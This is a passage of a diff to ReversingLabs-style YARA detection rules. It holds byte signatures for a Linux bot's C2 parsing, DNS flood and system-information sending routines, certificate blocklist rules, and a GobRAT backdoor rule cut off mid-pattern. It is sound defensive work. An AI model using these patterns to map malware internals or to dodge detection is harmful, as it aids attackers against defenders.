$parse_c2_commands_32 = { + 55 31 C0 57 B9 ?? ?? ?? ?? 56 53 81 EC ?? ?? ?? ?? 8D 9C 24 ?? ?? ?? ?? 0F B6 94 24 + ?? ?? ?? ?? 89 DF F3 AB C7 04 24 ?? ?? ?? ?? 88 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D + 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 83 E0 ?? 89 84 24 ?? ?? ?? ?? 90 A1 ?? ?? ?? + ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 ?? 89 04 24 E8 ?? ?? ?? + ?? 85 C0 0F 84 ?? ?? ?? ?? 8B B4 24 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? 89 74 24 ?? + C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 83 F8 ?? 74 ?? 83 F8 ?? 0F + 84 ?? ?? ?? ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 + ?? ?? ?? ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 83 FE ?? 0F 84 ?? + ?? ?? ?? 83 FE ?? 0F 85 ?? ?? ?? ?? 31 C0 B9 ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? F3 AB + 8D B4 24 ?? ?? ?? ?? B0 ?? 8D BC 24 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? B1 ?? F3 A5 89 + D6 8B BC 24 ?? ?? ?? ?? F7 C7 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? F7 C7 ?? ?? ?? ?? 0F 85 + ?? ?? ?? ?? 89 C1 C1 E9 ?? A8 ?? F3 A5 0F 85 ?? ?? ?? ?? A8 ?? 0F 85 ?? ?? ?? ?? 89 + 54 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? + 81 C4 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5B 5E 5F 5D C3 + } + $dns_flood_32_p1 = { + 55 57 56 53 81 EC ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 5C 24 ?? 8B + B4 24 ?? ?? ?? ?? B8 ?? ?? ?? ?? F6 C3 ?? 89 DF 0F 85 ?? ?? ?? ?? 89 C1 C1 E9 ?? A8 + ?? F3 A5 0F 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? + 89 F7 89 44 24 ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 + 44 24 ?? ?? ?? ?? ?? 66 C7 44 24 ?? ?? ?? 66 C7 44 24 ?? ?? ?? E8 ?? ?? ?? ?? 31 D2 + C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? F7 35 ?? ?? ?? + ?? 8B 04 95 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 C5 8D + 44 24 ?? 89 44 24 ?? 89 2C 24 E8 ?? ?? ?? ?? 31 C0 B9 ?? ?? ?? ?? F3 AB 8D 54 24 ?? + 89 14 24 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 5C 24 ?? 89 84 24 ?? + ?? ?? ?? 0F B7 44 24 ?? 66 89 84 24 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 89 04 24 E8 ?? + ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 89 14 24 89 74 24 ?? 89 54 24 ?? C6 84 24 ?? ?? ?? ?? + ?? C6 84 24 ?? ?? ?? ?? ?? 66 C7 84 24 ?? ?? ?? ?? ?? ?? 66 C7 84 24 ?? ?? ?? ?? ?? + ?? 66 C7 84 24 ?? ?? ?? ?? ?? ?? 66 C7 84 24 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 54 + } + $dns_flood_32_p2 = { + 24 ?? 89 D1 8B 39 83 C1 ?? 8D 87 ?? ?? ?? ?? F7 D7 21 F8 25 ?? ?? ?? ?? 74 ?? A9 ?? + ?? ?? ?? 0F 84 ?? ?? ?? ?? 00 C0 89 D7 83 D9 ?? 29 D1 8D 84 0C ?? ?? ?? ?? 66 C7 00 + ?? ?? 66 C7 40 ?? ?? ?? 8B 0F 83 C7 ?? 8D 81 ?? ?? ?? ?? F7 D1 21 C8 25 ?? ?? ?? ?? + 74 ?? A9 ?? ?? ?? ?? 75 ?? C1 E8 ?? 83 C7 ?? 00 C0 8D 44 24 ?? 83 DF ?? C7 44 24 ?? + ?? ?? ?? ?? 29 D7 89 04 24 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 54 24 ?? 89 74 + 24 ?? 89 84 24 ?? ?? ?? ?? 0F B7 44 24 ?? 89 14 24 66 89 84 24 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8D 94 24 ?? ?? ?? ?? 89 5C 24 ?? 89 14 24 E8 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? + 83 B8 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 83 C7 ?? 89 C2 + C1 FA ?? F7 F9 8D 42 ?? 66 C1 C8 ?? 66 89 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 31 D2 C7 + 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? 89 2C 24 F7 35 ?? ?? ?? ?? + 8B 04 95 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 89 54 24 ?? 89 44 24 ?? 8D 44 24 ?? 89 44 + 24 ?? E8 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 83 80 ?? ?? ?? ?? ?? 83 90 ?? ?? ?? ?? ?? + 83 3D ?? ?? ?? ?? ?? 74 ?? C7 04 24 ?? ?? ?? ?? E8 + } + $collect_system_information_64_p1 = { + 41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 48 8D 7C 24 ?? E8 ?? ?? ?? ?? 4C 8D 84 24 ?? + ?? ?? ?? 48 8D 4C 24 ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 31 C0 E8 ?? ?? + ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? + ?? 0F 31 48 89 D3 48 8D 7C 24 ?? 31 F6 48 C1 E3 ?? 89 C0 48 01 C3 E8 ?? ?? ?? ?? BF + ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 31 48 89 D5 48 8D 7C 24 ?? 31 F6 48 C1 E5 ?? 89 C0 45 + 31 E4 48 01 C5 E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 2B 44 24 ?? 48 29 DD 48 8B 54 24 ?? + 2B 54 24 ?? BF ?? ?? ?? ?? F2 48 0F 2A C5 48 8D AC 24 ?? ?? ?? ?? 69 C0 ?? ?? ?? ?? + 01 D0 F2 0F 2A C8 F2 0F 5E C1 F2 0F 2C D8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 C1 BE ?? + ?? ?? ?? BF ?? ?? ?? ?? 31 C0 41 89 D8 48 8D 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 05 + ?? ?? ?? ?? BF ?? ?? ?? ?? 89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? BE + ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 E0 B9 ?? ?? ?? ?? 48 89 EF F3 48 AB + } + $collect_system_information_64_p2 = { + 48 89 DF 48 89 DA 48 89 EE B1 ?? F3 48 AB BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 54 24 + ?? BE ?? ?? ?? ?? 48 89 DF 31 C0 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 E0 B9 + ?? ?? ?? ?? 48 89 DF F3 48 AB 8B 44 24 ?? BE ?? ?? ?? ?? 48 89 DF 8D 90 ?? ?? ?? ?? + 85 C0 0F 49 D0 31 C0 C1 FA ?? 89 54 24 ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 DE BF + ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? BE ?? + ?? ?? ?? BF ?? ?? ?? ?? 41 89 C5 E8 ?? ?? ?? ?? 4C 89 E0 B9 ?? ?? ?? ?? 48 89 EF F3 + 48 AB 48 89 DF 48 89 DA 48 89 EE B1 ?? F3 48 AB BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 45 85 + ED 75 ?? BA ?? ?? ?? ?? 48 89 DE BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 3D ?? ?? ?? ?? + E8 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? BE ?? ?? ?? ?? BF + ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 7C 24 ?? 31 C9 + BA ?? ?? ?? ?? 31 F6 E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D 41 5C 41 5D C3 + } + $send_system_info_64 = { + 55 53 48 81 EC ?? ?? ?? ?? 48 8D 7C 24 ?? E8 ?? ?? ?? ?? 4C 8D 84 24 ?? ?? ?? ?? 48 + 8D 4C 24 ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? BE ?? + ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 31 48 89 D3 31 F6 48 89 E7 48 C1 E3 ?? 89 + C0 48 01 C3 E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 31 48 89 D5 48 8D 7C 24 + ?? 31 F6 89 C0 48 C1 E5 ?? 48 01 C5 E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 2B 04 24 48 29 + DD 48 8B 54 24 ?? 2B 54 24 ?? BF ?? ?? ?? ?? F2 48 0F 2A C5 69 C0 ?? ?? ?? ?? 01 D0 + F2 0F 2A C8 F2 0F 5E C1 F2 0F 2C D8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 C1 BE ?? ?? ?? + ?? BF ?? ?? ?? ?? 31 C0 41 89 D8 E8 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? BA ?? ?? ?? ?? + BE ?? ?? ?? ?? BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? BA ?? ?? ?? ?? + BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5B 5D C3 + } + $parse_c2_commands_64 = { + 41 57 31 C0 49 89 FF B9 ?? ?? ?? ?? 41 56 41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 48 + 8D 9C 24 ?? ?? ?? ?? 40 88 B4 24 ?? ?? ?? ?? 4C 8D AC 24 ?? ?? ?? ?? 4C 8D A4 24 ?? + ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 DF F3 48 AB C7 07 ?? ?? ?? ?? BF ?? ?? ?? ?? + E8 ?? ?? ?? ?? 48 8D 43 ?? 48 89 84 24 ?? ?? ?? ?? 0F 1F 00 8B 3D ?? ?? ?? ?? 31 C9 + BA ?? ?? ?? ?? 48 89 DE E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 44 8B B4 24 ?? ?? + ?? ?? 45 85 F6 0F 84 ?? ?? ?? ?? 31 C0 44 89 F6 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 84 + 24 ?? ?? ?? ?? 83 F8 ?? 74 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 41 83 FE ?? 0F 84 ?? ?? ?? + ?? 41 83 FE ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 41 83 FE ?? 0F 84 ?? ?? + ?? ?? 41 83 FE ?? 0F 84 ?? ?? ?? ?? 41 83 FE ?? 0F 84 ?? ?? ?? ?? 41 83 FE ?? 0F 85 + ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? 31 C0 B9 ?? ?? ?? ?? F3 48 AB 48 8B 84 24 ?? ?? + ?? ?? 4C 8B 9C 24 ?? ?? ?? ?? 4C 8B 94 24 ?? ?? ?? ?? 4C 8B 8C 24 ?? ?? ?? ?? 4C 8B + 84 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? C7 07 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? + 48 8B 84 24 ?? ?? ?? ?? 48 8B BC 24 ?? ?? ?? ?? 48 8B B4 24 ?? ?? ?? ?? 48 8B 94 24 + ?? ?? ?? ?? 4C 8B B4 24 ?? ?? ?? ?? 4C 8B AC 24 ?? ?? ?? ?? 4C 8B A4 24 ?? ?? ?? ?? + 48 8B AC 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 84 24 + ?? ?? ?? ?? 4C 89 9C 24 ?? ?? ?? ?? 4C 89 94 24 ?? ?? ?? ?? 4C 89 8C 24 ?? ?? ?? ?? + 4C 89 84 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? 48 89 B4 24 + ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 4C 89 B4 24 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? + 4C 89 A4 24 ?? ?? ?? ?? 48 89 AC 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 84 24 + ?? ?? ?? ?? 49 89 57 ?? 48 8B 94 24 ?? ?? ?? ?? 49 89 77 ?? 48 8D B4 24 + } + $dns_flood_64_p1 = { + 41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 49 89 + FC BB ?? ?? ?? ?? 48 8D 7C 24 ?? 48 89 D9 4C 89 E6 48 8D AC 24 ?? ?? ?? ?? F3 48 A5 + 8B 06 48 89 CB 89 07 0F B7 46 ?? 8B 35 ?? ?? ?? ?? 66 89 47 ?? BF ?? ?? ?? ?? 31 C0 + E8 ?? ?? ?? ?? 48 C7 04 24 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 66 C7 04 24 ?? ?? + 66 C7 44 24 ?? ?? ?? E8 ?? ?? ?? ?? 31 D2 BE ?? ?? ?? ?? BF ?? ?? ?? ?? F7 35 ?? ?? + ?? ?? 89 D2 8B 04 95 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? BA ?? ?? + ?? ?? 48 89 E6 89 C7 41 89 C5 E8 ?? ?? ?? ?? 48 89 D8 B9 ?? ?? ?? ?? 48 89 EF F3 48 + AB 48 8D 7C 24 ?? BE ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? + 48 8D 7D ?? 48 8D 74 24 ?? 89 84 24 ?? ?? ?? ?? 0F B7 44 24 ?? 66 89 84 24 ?? ?? 00 + 00 E8 ?? ?? ?? ?? 48 89 EE 48 89 DF C6 84 24 ?? ?? ?? ?? ?? C6 84 24 + } + $dns_flood_64_p2 = { + 66 C7 84 24 ?? ?? 00 00 ?? ?? 66 C7 84 24 ?? ?? 00 00 ?? ?? 66 C7 84 24 ?? ?? 00 00 + ?? ?? 66 C7 84 24 ?? ?? 00 00 ?? ?? E8 ?? ?? ?? ?? 48 89 D9 8B 01 48 83 C1 ?? 8D 90 + ?? ?? ?? ?? F7 D0 21 C2 81 E2 ?? ?? ?? ?? 74 ?? 89 D0 C1 E8 ?? F7 C2 ?? ?? ?? ?? 0F + 44 D0 48 8D 41 ?? 48 0F 44 C8 00 D2 48 83 D9 ?? 48 29 D9 48 8D 84 0C ?? ?? ?? ?? 48 + 8D 8C 24 ?? ?? ?? ?? 66 C7 00 ?? ?? 66 C7 40 ?? ?? ?? 48 89 CB 8B 13 48 83 C3 ?? 8D + 82 ?? ?? ?? ?? F7 D2 21 D0 25 ?? ?? ?? ?? 74 ?? 89 C2 48 8D 7C 24 ?? BE ?? ?? ?? ?? + C1 EA ?? A9 ?? ?? ?? ?? 0F 44 C2 48 8D 53 ?? 48 0F 44 DA 00 C0 48 83 DB ?? 48 29 CB + E8 ?? ?? ?? ?? 8B 44 24 ?? 48 8D BC 24 ?? ?? ?? ?? 48 89 EE 89 84 24 ?? ?? ?? ?? 0F + B7 44 24 ?? 66 89 84 24 ?? ?? 00 00 E8 ?? ?? ?? ?? 48 8D 7D ?? 48 8D 74 24 ?? E8 ?? + ?? ?? ?? 41 83 BC 24 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C2 B9 ?? ?? + ?? ?? 83 C3 ?? C1 FA ?? F7 F9 8D 42 ?? 66 C1 C8 ?? 66 89 84 24 ?? ?? 00 00 E8 ?? ?? + ?? ?? 31 D2 48 8D B4 24 ?? ?? ?? ?? 31 C9 F7 35 ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 49 89 + E0 44 89 EF 89 D2 8B 04 95 ?? ?? ?? ?? 48 63 D3 89 44 24 ?? E8 ?? ?? ?? ?? 49 83 84 + 24 ?? ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 74 ?? BF ?? ?? ?? ?? E8 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Instamix Limited" and ( pe.signatures [ i ] . serial == "00:a7:98:9f:8b:e0:c8:2d:35:a1:9e:7b:3d:d4:be:30:e5" or pe.signatures [ i ] . serial == "a7:98:9f:8b:e0:c8:2d:35:a1:9e:7b:3d:d4:be:30:e5" ) and 1598054400 <= pe.signatures [ i ] . not_after ) + uint32( 0 ) == 0x464C457F and ( ( ( all of ( $collect_system_information_32_p* ) ) and ( $send_system_info_32 ) and ( $parse_c2_commands_32 ) and ( all of ( $dns_flood_32_p* ) ) ) or ( ( all of ( $collect_system_information_64_p* ) ) and ( $send_system_info_64 ) and ( $parse_c2_commands_64 ) and ( all of ( $dns_flood_64_p* ) ) ) ) } - -rule REVERSINGLABS_Cert_Blocklist_0Fa13Ae98E17Ae23Fcfe7Ae873D0C120 : INFO FILE +rule REVERSINGLABS_Linux_Backdoor_Gobrat : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects GobRAT backdoor." author = "ReversingLabs" - id = "87a47456-4d90-5a7d-af9d-7a6d5fb8efac" - date = "2020-08-05" - modified = "2023-11-08" + id = "390bd83e-ac43-511a-b07b-3dc3d9890353" + date = "2025-03-27" + modified = "2025-03-27" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5310-L5326" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Linux.Backdoor.GobRAT.yara#L1-L168" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "415f39f82b6a45acd196ccf246ec660806a8d66c61df8c7d2850e5b244118d04" + logic_hash = "ce29568231a4103663f4b478de3210e00e14b14eda7781f05ecf0cf576fc5ad2" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "GobRAT" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "KLAKSON, LLC" and pe.signatures [ i ] . serial == "0f:a1:3a:e9:8e:17:ae:23:fc:fe:7a:e8:73:d0:c1:20" and 1597276801 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_3696883055975D571199C6B5D48F3Cd5 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "f68338f9-8614-5793-981d-70547dbc65ce" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5328-L5344" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d6f77b9ca928167341a35b83e353886d4db8dfcecf45cde0f0f93d65059b5200" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $get_local_address_p1 = { + 49 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 83 C4 ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? 48 83 3D ?? + ?? ?? ?? ?? 75 ?? E8 ?? ?? ?? ?? 48 85 FF 75 ?? 48 85 DB 74 ?? 48 89 5C 24 ?? 31 C9 + EB ?? 48 8B 05 ?? ?? ?? ?? 48 8B 3D ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? 48 8B 35 ?? ?? + ?? ?? 48 8B 0D ?? ?? ?? ?? 4C 8B 05 ?? ?? ?? ?? 48 8B 6C 24 ?? 48 83 EC ?? C3 48 83 + C0 ?? 48 89 D1 48 8B 50 ?? 4C 8D 0D ?? ?? ?? ?? 4C 39 08 74 ?? BA ?? ?? ?? ?? 48 89 + 4C 24 ?? 48 89 44 24 ?? 48 89 54 24 ?? 74 ?? 31 F6 EB ?? 48 8B 02 48 8B 5A ?? 48 8B + 4A ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 8B + 5C 24 ?? 4C 8D 0D ?? ?? ?? ?? 31 F6 EB ?? 48 8B 54 24 ?? 48 8B 02 48 8B 5A ?? 48 8B + 4A ?? E8 ?? ?? ?? ?? 83 F0 ?? 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 8B 5C 24 ?? 4C 8D 0D + ?? ?? ?? ?? 89 C6 48 8B 44 24 ?? 40 84 F6 74 ?? 4C 8B 12 4C 8B 5A ?? 4C 8B 62 ?? 49 + 83 FB ?? 75 ?? 4C 89 D6 EB ?? 49 83 FB ?? 75 ?? 31 F6 E9 ?? ?? ?? ?? 48 8D 51 ?? 48 + 39 D3 0F 8F ?? ?? ?? ?? 0F 1F 40 ?? E9 ?? ?? ?? ?? 31 F6 48 85 F6 74 ?? 4C 89 D0 4C + 89 DB 4C 89 E1 E8 ?? ?? ?? ?? 48 8B 35 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 3D ?? + ?? ?? ?? 4C 8D 46 ?? 4C 39 C7 73 ?? 48 89 44 24 ?? 48 89 5C 24 ?? 48 8D 05 ?? ?? ?? + ?? 48 89 D3 48 89 F1 4C 89 C6 E8 ?? ?? ?? ?? 48 89 0D ?? ?? ?? ?? 83 3D ?? ?? ?? ?? + ?? 75 ?? 48 89 05 ?? ?? ?? ?? EB ?? 48 8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C2 48 + } + $get_local_address_p2 = { + 89 DE 48 8B 44 24 ?? 48 8B 5C 24 ?? 4C 8D 46 ?? 4C 89 05 ?? ?? ?? ?? 48 C1 E6 ?? 48 + 89 5C 32 ?? 48 8D 3C 32 83 3D ?? ?? ?? ?? ?? 75 ?? 48 89 04 32 EB ?? E8 ?? ?? ?? ?? + 48 8B 54 24 ?? 48 8B 02 48 8B 5A ?? 48 8B 4A ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B + 35 ?? ?? ?? ?? 48 8D 56 ?? 48 8B 1D ?? ?? ?? ?? 48 8B 3D ?? ?? ?? ?? 48 39 D7 73 ?? + 89 44 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 F1 48 89 D6 E8 ?? ?? ?? ?? 48 89 0D ?? ?? ?? + ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 48 89 05 ?? ?? ?? ?? EB ?? 48 8D 3D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 48 89 DE 48 89 C3 8B 44 24 ?? 48 8D 56 ?? 48 89 15 ?? ?? ?? ?? 89 04 B3 48 + 8B 44 24 ?? 48 8B 4C 24 ?? 48 8B 5C 24 ?? 4C 8D 0D ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 FF + C6 48 83 FE ?? 7D ?? 45 0F B6 2C 32 45 84 ED 74 ?? E9 ?? ?? ?? ?? 41 80 7A ?? ?? 0F + 1F 44 00 ?? 0F 85 ?? ?? ?? ?? 41 80 7A ?? ?? 0F 85 ?? ?? ?? ?? 49 8D 72 + } + $get_mac_address_p1 = { + 4C 8D 64 24 ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC 24 ?? ?? + ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 83 3D ?? ?? ?? ?? ?? 75 ?? E8 ?? ?? ?? ?? 48 85 FF + 75 ?? 48 85 DB 74 ?? 48 89 5C 24 ?? 31 C9 EB ?? 31 C0 31 DB 48 8B AC 24 ?? ?? ?? ?? + 48 81 C4 ?? ?? ?? ?? C3 48 8B 05 ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? 48 8B AC 24 ?? ?? + ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 83 C0 ?? 48 89 D1 0F 10 00 0F 11 84 24 ?? ?? ?? ?? + 0F 10 40 ?? 0F 11 84 24 ?? ?? ?? ?? 0F 10 40 ?? 0F 11 84 24 ?? ?? ?? ?? 0F 10 40 ?? + 0F 11 84 24 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B B4 24 ?? ?? ?? ?? 48 85 D2 75 + ?? 31 D2 31 F6 EB ?? 48 89 4C 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 89 54 24 ?? 48 89 B4 + 24 ?? ?? ?? ?? 48 8D 0C 52 48 8D 49 ?? 48 89 4C 24 ?? 48 8D 05 ?? ?? ?? ?? 31 DB 0F + 1F 44 00 ?? E8 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8B B4 24 ?? ?? ?? ?? 48 8B 7C 24 ?? 31 + C9 31 DB EB ?? 48 89 D9 48 89 C3 31 C0 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 89 DA 48 89 + C6 48 8B 84 24 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 85 D2 0F 85 ?? ?? ?? ?? 48 8D 51 ?? 48 + 39 D3 0F 8F ?? ?? ?? ?? E9 ?? ?? ?? ?? 46 88 0C 10 48 FF C1 4C 89 C3 48 39 D1 7D ?? + 48 89 4C 24 ?? 44 0F B6 04 0E 44 88 44 24 ?? 0F 1F 44 00 ?? 48 85 C9 7E ?? 4C 8D 4B + ?? 4C 39 CF 73 ?? 48 89 5C 24 ?? 48 89 D9 4C 89 CE 48 89 C3 48 8D 05 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 4C 8D 4B ?? 48 8B 54 24 ?? 48 8B 5C 24 ?? 48 8B B4 24 ?? ?? ?? ?? 44 0F + } + $get_mac_address_p2 = { + B6 44 24 ?? 48 89 CF 48 8B 4C 24 ?? C6 04 18 ?? EB ?? 49 89 D9 4D 8D 51 ?? 45 89 C3 + 41 C0 E8 ?? 45 0F B6 C0 4C 8D 25 ?? ?? ?? ?? 47 0F B6 04 04 4C 39 D7 73 ?? 44 88 44 + 24 ?? 4C 89 4C 24 ?? 48 89 C3 4C 89 C9 4C 89 D6 48 8D 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 4C 8D 53 ?? 48 8B 54 24 ?? 48 8B B4 24 ?? ?? ?? ?? 44 0F B6 44 24 ?? 4C 8B 4C 24 ?? + 44 0F B6 5C 24 ?? 4C 8D 25 ?? ?? ?? ?? 48 89 CF 48 8B 4C 24 ?? 46 88 04 08 4D 8D 42 + ?? 41 83 E3 ?? 47 0F B6 0C 23 4C 39 C7 0F 83 ?? ?? ?? ?? 4C 89 54 24 ?? 44 88 4C 24 + ?? 48 89 C3 4C 89 D1 4C 89 C6 48 8D 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8D 43 ?? 48 8B + 54 24 ?? 48 8B B4 24 ?? ?? ?? ?? 44 0F B6 4C 24 ?? 4C 8B 54 24 ?? 48 89 CF 48 8B 4C + 24 ?? E9 ?? ?? ?? ?? 48 89 15 ?? ?? ?? ?? 83 3D ?? ?? ?? 